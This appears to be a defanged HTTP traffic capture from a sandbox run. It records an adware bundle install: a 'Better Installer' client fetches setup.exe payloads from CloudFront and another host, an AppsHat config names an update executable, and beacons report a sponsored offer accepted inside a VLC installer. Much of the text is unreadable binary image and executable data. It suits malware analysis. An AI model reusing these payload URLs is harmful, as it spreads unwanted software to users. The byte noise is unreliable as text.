..}V.k)|..i.....\....nge.......m.|P..J;.....z9.PX.4.t%..A..\Y../..XZd.
..?(.Ow.0n..Q./....X.......^.O......Q........1}../. ......[..H:..Za...
i.H9\1..3.R..Jp.B.........>..L.W......wI...b...$..|......j..hOR..m\
....l..Og...e..s..$.........?zvy~!M.t:.}.F.j..t-~r...>......i..<<< skipped >>>

GET /thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 349673

Last-Modified: Thu, 13 Jun 2013 17:54:49 GMT

Connection: keep-alive

ETag: "51ba0769-555e9"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x....U.IDATx.....l.U...8.D.q.}...g*S...`
%[email protected].?.{..U..r..7.......2A.$:).P..y.}.v.
.....\k.8q.}......9r..n.q.}..k.....V.p.:{...^g.......W......^g......u.
..^g......u.:{........u.:{...^g...u.:{...^g.....8{...^g......u...^g...
...u.:{........u.:{...^g...u.:{...^g.....8{...^g......u...^g......u.:{
........u.:{...^g...u.:{...^g.....8{...^g......u...^g......u.:{.......
.u.:{...^_2........f.L&!..P.ja6..<...Y...!/.P...Z.0..BV...r...z.Ng.
...Q.z.^..5...ah..!...X.a..c ..........F.L..~...0.K#......?...(.......
...".\.?.6....8f.....^....\....A.p.B...</.n9/C....<........_....
.Mg..(...........^.....k......p......8O\......8..,..8.Z..a:..s...spOp&
lt;.>.....?_.u~......v.^y...xNx.F...............{..y...?...I...}_..
X.Z....g2..{.......sq,.r...E..../.Z<.....x...k.s..........p.....^..
.(n....0..?....x....G.................x-..V. 2..Q..........~..'a{{ ...
.Mo....~.GB....V;L.q..;........'.AX.c.5.....O..~......}....>...W?..
7.`.._...~...].x/..W....O..\o....G.....C.........B\ZY<.|......../..
x.[...G.x....~.[.?~...k......|.?.5.'....a|..y..1<...V.k............
...?..x.X.X ..4._..:...A|...k...]..u.:.._"..7.V....;.........o.....c.u
.....wul1x..y......n.......q.s........J..z..k8......<^..v.. ..|$...
..|2..'"...I.@<..<..g...........{...T..7W..[...u...x.w..p.p..xO.
.....c;..U.........`<..{....."^.[..8..r.u..6..r}...'c.,.x8..[..>
..mt."....O...{7o.>...........~6...D..D...q..@-........^g.3.p..~W..
.T......:.x4..W;.....1.."........%.z..A-&..x...\P.G.>..{..X...u<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826



.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q..
_... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).
)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....D
w.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]..
....<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2........`
ZxZ,....eI..Z.Y...n.Z9Y.XUZ].F...%........N.N...g................m.}ag
b.g........}.}..=.......Z.~s.r.:V:.....?}..../gX....3....).i.S..Gg.g.s
.....K....>........Jt.q].z............6.i.....4.).Y3s...C.Q..?...0k
..~OCO.g..#/c/.W.....w..a..>.>r..>.<7.2.Y_.7.....O.o._..C.
#.d.z.....%.g...A.[...z|!..?:.e....A...A.A.......!h....!......i..P~...
.a.a..~.'...W.?.p.X..1.5w..Cs.D.D.D..g1O9.-J5*>..j<.7.4.?..fY..X
.XIlK.9.*.6nl...........{../.]py..........,:[email protected].*...%..w%..y...g
"/.6...C\*.N.H*Mz....5y$.3.,...'...L.L..:...v m2=:.1....qB.!M..g.g.fv.
.e....n../....k....Y-..B..TZ(.*..geWf....9... .......7.............KW-
.X...j9.<qy..... .V..<...*m.O..W..~.&zMk.^......k..U...}....]OX/
Y..a....>...........(.x...o..........d.f.f...-.[.......n......V....
E./..(....C...<..e....;?T.T.T.T6....a..n...{..4...[...>...U.UM.f
.e.I...?.......m].Nmq.......#........=TR.. .G.......w-.6.U....#pDy....
....:.v.{.....v.g./jB...F.S..[b[.O.>....z.G....4<YyJ.T.i.....g..
....}~...`...{.c..j.o...t..E...;.;.\..t.....W.W..:_m.t.<...O.......
\k..z..{f....7....y......9=...zo.......~r'.....w'[email protected]...?[....
..j.w....G..........C..........8>99.?r....C.d.&........./~.....<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 370410

Last-Modified: Thu, 13 Jun 2013 17:01:03 GMT

Connection: keep-alive

ETag: "51b9facf-5a6ea"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x..... cHRM..z%..............u0...`..:..
..o._.F....pHYs...........~.....IDATx^[email protected]
..n.....SR.......?...>3;.,....\.}[email protected]..).^H.:.c.
..`.Z.%..8.$.>.....U3.1k.....qa.>NbT...O.H...%.S..bT.....GJ..Fp.
.G.?.n....\.pX....D..........!\..h......h................}...W.{.l.[..
...a.#..f......w....>......~v..P.gj........>F.k}.......q........
......?..9...<..Y...Z......g.#......Y..1.q....y.....ot.N.Q..F.....G
....L.......L.......G ...h..6..T.|..e...O.........Y.....&..[{..q....c.
.....6_........9r........@." ".._.......~....._.~_.a_.."....D...Y.*...
...rF.YD... ."..^.i.[b...p...%x/..#}....K.F.........p"...>......4.m
>c.b... .|....U.w.......c....._.>.....Q...h.K5. >...{..<..
.~9...U{..Ww.(..........#.|D....H...jD.......T.:.Q...... ./...@.......
[\.K.......s.... .b9N.#....~/....$...B ..u......7bw..G.........u......
@x'..........T.......;Z.$..I.O..?....Y....................D$..........
?.....p".?..p.8....O.|.......x..o..M3............9..a....`.....t.#...T
TS.. .....P|..#..T.-.....tM..@d..?..P..I:../[email protected].}75.
..$~.Y.."...u.j{....'i.;...Z...L..u..!...D....'5....@x7.!q..p..>.(.
.2..ur..4.L.3....L..!..........8....s....{E...6.5}I..|...9D.....N.._.$
 {...;....[.Ad..{..-....\7.......X...K...G...p.R.wi.4a..y.X...........
.7..6.{.|U.......N..I'.....ec......_...-..c....`a..di.....Sh7......I.z
. 6..Z...(..H%...N.......q=.....|....6...h>/?#.......p&^:.......~..
..I..:..dr.?...l...[.....e.o....&.rQ..........P....x.zK......,....<<< skipped >>>

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 77988

Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT

Connection: keep-alive

ETag: "51bbfce5-130a4"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J..
&........./~..............m|..............x31^.V...w.w.....O.| .(.h...
S.............c3-.... cHRM..z%..............u0...`..:....o._.F..%.IDAT
x...w.$U....B..7...s.....$#9.Q.........]u........".......00..0........
.....VwW...&....[.....NU..9.y.....hhhhhhh.'.@;......{-.....<8.t..}.
444444..2..........}A...&}=444444..v.......R..hhhhhh.Zx...........<<< skipped >>>

GET /thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 217582

Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT

Connection: keep-alive

ETag: "51ba05aa-351ee"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...?....._.......N;.z...}..3....o....n.:..l.]
...T..........m.g.._.M;....5..VE.n..:....t...|. 7.............q.....n.
/f..&....73...1.sZ.f.SW.e.]....W..s./..gW.@.....%q..3..Y.j.......w.a..
..s..7.[o.5:z..u..Z.5.k...}O6".3.T._}}x..].k..d.$.D..6O..&..vz.......e
.....^ .>.....|_...=......p>...5.s...s.,A...T..FG..R.y....IQ<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826



.....p......k.5o..g..|...........w*kq....X.......c!...O...~"......[.d.
..M.|.}.&...!.MH.Z.SG..II~T......kUo.r.D.P..d>...LU...k.....:z.....
....4ZV.7..!..)f......s...F.T.E.3........Hv......5. Sl.8....x..v.h..6.
....g)...:(.......I.J-lb.................d......?H...#.#....X.i.....V`
.,.......S...n...F" ..l ..Q.}..zq...YI..mV.q...d...W..~...H?..K.?K~...
..E.0.C..s). ....'..?.z.....$m.Ya..%...0q.-......O...f..Y(..PW.M.CN..7
......G..*....%..R.$3...%.he....s.f.<.`{GR.......?i%.]BR....c......
0.y..=FU..5.E..OO>[email protected]....(...y.H.o....<F..s.....8E...
..<[email protected]@R..k.p\j" ............6..... ..........
0..k..>.n.......=.m.N..m7......{-..I.T..l}..Lsq.w.........,H.......
..vr.Q..L.hAO?.e.Q.D......sk...G......c../..T...wk..<e. ...zi......
.s.....U!..p.>^..{.../......W.D..r.@......:...G&.4.}@. ...`..F.Q.4=
.H....6.~.?..p.>[email protected]...$H.../X...Nd.nNG....)ka..1D
.?...b|[Zi.@..!.....0d..e'...F.......dI.v...5v.%.r.(..._#wn.O..S......
......*.B....*{..>P...^......I..]}[email protected] .......1.Y...{.........
..=G.. ..^Xi ...y..{........5..J...)..... .o...........\P..1..s...*@n;
...\..W...{.'. "..t=..M...wl....a..>.=.}.[6............$....3.r...}
.Z.........i..w.2V4J'7>3.=..&.]I.\.S...|[email protected]%h%...._.....
7`.kE.hP.......5.....l_(...F. ..p;...........uBJ\...@.|3...?.)Y}..m:..
...x.rw...w...........f.m.#Wb..:[email protected]..!Q.A... -=x..C....q./u...
i......../.......(.}#.....L.R...?...m..B.x."..W.......m.}.....c_;.Qq.t
[email protected]....>.c.>..Y.T.....w._.?.4n/.<<< skipped >>>

GET /images/loading.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826; _ga=GA1.2.1387098998.1423621902; _gat=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/gif

Content-Length: 8476

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-211c"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
GIF89a . .............................................................
......................................................................
.................................................................!..NE
TSCAPE2.0.....!.......,.... . .@[email protected]:].d.....Xla[.....@$.,..
T....G!.c>..#..p..0.yzk................#). ..........k..rwv&... ./$
/..._.B..}}..O\..(.O....'.O....e..N.....'..0.,....n..` #.(.#..........
&&.....tu..QH..P......-R1.. ..\,..."......@ ".. 9 .8.W..$...`L!I....H.
...f#S~h..Z"==...XP.....Z`......*[email protected]`.NCP'..&,. @..Y.yR%!..J..
Q....!.....3.,...... ......pH..D.M$......Pqx=..l........r-gc..P.y.He.R
.Q.8/7i......!!yn.........^ ......#j^......^.....(.^*...P.Q......R(...
.%.Q.....D......C...i.B.....3...................3..."..#........".'...
.,@....{.T .P'[email protected]......#...0.....2....$..*%.tya.L
2H(8&..Bg..1.Ji.b...-`.`.....".HP.....=3.....Q.<....!.......,......
 [email protected]....... .T...H..c........PmB..v..FL..Ta8......6.RD%...!w$k
.|]1.D....!.*.....!.E.I...#c../.D....M................S.....r.S....%.S
.....D.....'.R......C....b.B..""..."."..............R7" .....P....x..z
8!..B...$../...#Jp.."#..%.|[email protected]. ...3.)b..@....:.IP.T&..
G......S.F..tVA.P.6q...l...Z.....!.......,...... [email protected].%[email protected]
1`......}..Rb.....Z.......O.a.oBY.D.ns.D%.....vXK|.mm..C..II..........
}.32.B ......%a....&.C.....'.D.&2.......D'.D...........*..#..._.......
.."".N.......R..............=..'[email protected]<.P.B. .8D1b ...P$.
...B."I*......%.|.!a.B.)R.l....:..%..Ya....Vd......D."U.T^.....M..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KUrIQY9yp7bkhQYXTh3VGnhCtX8U_wtWrDbumQOW5a-BIfCFXqZccA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3QuvzJu8viT3Zc_0x6vG7b9d0PHKKWiKq_n-PXI9_xvbTdGtQD_i6Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.7891041432425838 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: download.cdn.mozilla.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Connection: keep-alive


HTTP/1.1 206 Partial Content

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

ETag: "4b1e700-2dc5623-508c5f506dac8"

Server: Apache

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

Content-Type: application/octet-stream

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

X-Cache-Info: cached

Cache-Control: max-age=551611

Expires: Tue, 17 Feb 2015 11:44:21 GMT

Date: Wed, 11 Feb 2015 02:30:50 GMT

Content-Range: bytes 900000-1199999/47994403

Content-Length: 300000

Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_e HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:21 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537364"

Last-Modified: Tue, 10 Feb 2015 03:02:44 GMT

Cache-Control: max-age=2723

Content-Length: 2508980

Content-Type: text/plain

X-HW: 1423621882.dop005.am4.t,1423621881.cds036.am4.c
...k......^._].. ...1.\[email protected]......),-.;@.W..T.%..(.G.'...L.
....>t.[..J.....^...v....Ux....q.....>..q........@g...{|f...{s.l
R...OA.I.pe.]...,{T.K-Q...|u..h|.....Jc.,W.H..Bc....".N..Z.L....^.}...
.d.!...m.Q...Q.....1.....W.yZq..5D.X.j....nH....2.me{...%QUL...7.W|8y.
